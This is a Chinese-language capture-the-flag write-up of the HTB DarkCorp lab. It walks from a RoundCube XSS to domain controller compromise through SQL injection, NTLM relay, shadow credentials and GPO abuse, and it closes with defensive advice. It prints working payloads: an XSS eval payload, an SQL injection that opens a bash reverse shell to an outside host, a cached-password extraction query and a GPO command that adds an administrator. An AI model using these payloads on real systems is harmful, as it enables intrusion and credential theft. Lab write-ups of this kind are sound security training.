HTB DarkCorp 渗透测试全流程解析 - 从XSS到域控的完整攻击链

本文详细记录了HTB DarkCorp靶机的完整渗透过程,涉及RoundCube XSS漏洞利用、PostgreSQL SQL注入与RCE、NTLM中继攻击、GPO滥用等多个高级攻击技术,展示了从Web应用到域控制器的完整攻击链。

HTB: DarkCorp | 完整渗透测试分析

初始侦察

端口扫描

nmap扫描发现两个开放端口:

  • SSH (22)
  • HTTP (80)
1
nmap -p- -vvv --min-rate 10000 10.10.11.54

子域名枚举

使用ffuf发现子域名:

  • drip.htb
  • mail.drip.htb

Web应用攻击

RoundCube XSS漏洞利用 (CVE-2024-42009)

RoundCube 1.6.7存在XSS漏洞,通过构造特殊payload实现代码执行:

1
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=eval(atob('BASE64_PAYLOAD')) foo=bar">

邮件读取与信息收集

通过XSS漏洞读取管理员邮箱,发现内部开发面板:

  • dev-a3f1-01.drip.htb

数据库攻击

SQL注入与PostgreSQL RCE

开发面板存在SQL注入漏洞,利用PostgreSQL的COPY TO PROGRAM功能实现RCE:

1
'0xdf';DO $$ DECLARE cmd text; BEGIN cmd := CHR(67) || 'OPY (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'''; EXECUTE cmd; END $$;

备份文件解密

获取PGP加密的数据库备份文件,使用数据库密码解密后获得域用户凭据。

内网横向移动

网络发现

  • 172.16.20.1 - DC-01 (域控制器)
  • 172.16.20.2 - WEB-01 (Web服务器)
  • 172.16.20.3 - drip (当前主机)

NTLM中继攻击

利用WEB-01上的网站监控功能触发NTLM认证,通过中继攻击:

  1. 添加恶意DNS记录
  2. 使用Printer Bug强制认证
  3. 通过ADCS获取Silver Ticket

权限提升

计划任务凭据窃取

发现计划任务中存储的管理员凭据,使用DPAPI解密:

1
2
$cred = Get-StoredCredential
$ncred = $cred.GetNetworkCredential()

密码喷洒攻击

使用获取的本地管理员密码进行域密码喷洒,发现john.w用户使用相同密码。

影子凭证攻击

利用GenericWrite权限为angela.w账户设置影子凭证,获取其NTLM哈希。

UPN欺骗攻击

修改angela.w的UPN为angela.w.adm,利用Kerberos协议差异获取Linux管理员权限。

域控攻陷

SSSD缓存凭据提取

在Linux主机上提取SSSD缓存中的域用户凭据:

1
ldbsearch -H cache_darkcorp.htb.ldb '(cachedPassword=*)'

GPO滥用

taylor.b.adm用户具有GPO修改权限,利用pyGPOAbuse添加本地管理员:

1
pygpoabuse.py 'domain/user:password' -gpo-id GUID -command 'net localgroup administrators user /add'

域控权限获取

最终通过GPO修改获得域管理员权限,提取所有域用户哈希。

技术亮点

  1. 多阶段攻击链:从Web应用到域控制器的完整攻击路径
  2. 混合环境利用:Windows AD与Linux系统的协同攻击
  3. 协议级攻击:Kerberos、NTLM、DNS等协议的滥用
  4. 凭据管理攻击:DPAPI、SSSD缓存、计划任务凭据的利用

防御建议

  1. 及时更新Web应用和系统补丁
  2. 限制不必要的网络服务暴露
  3. 实施严格的权限分离原则
  4. 监控异常认证活动
  5. 定期审计GPO和DNS配置
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计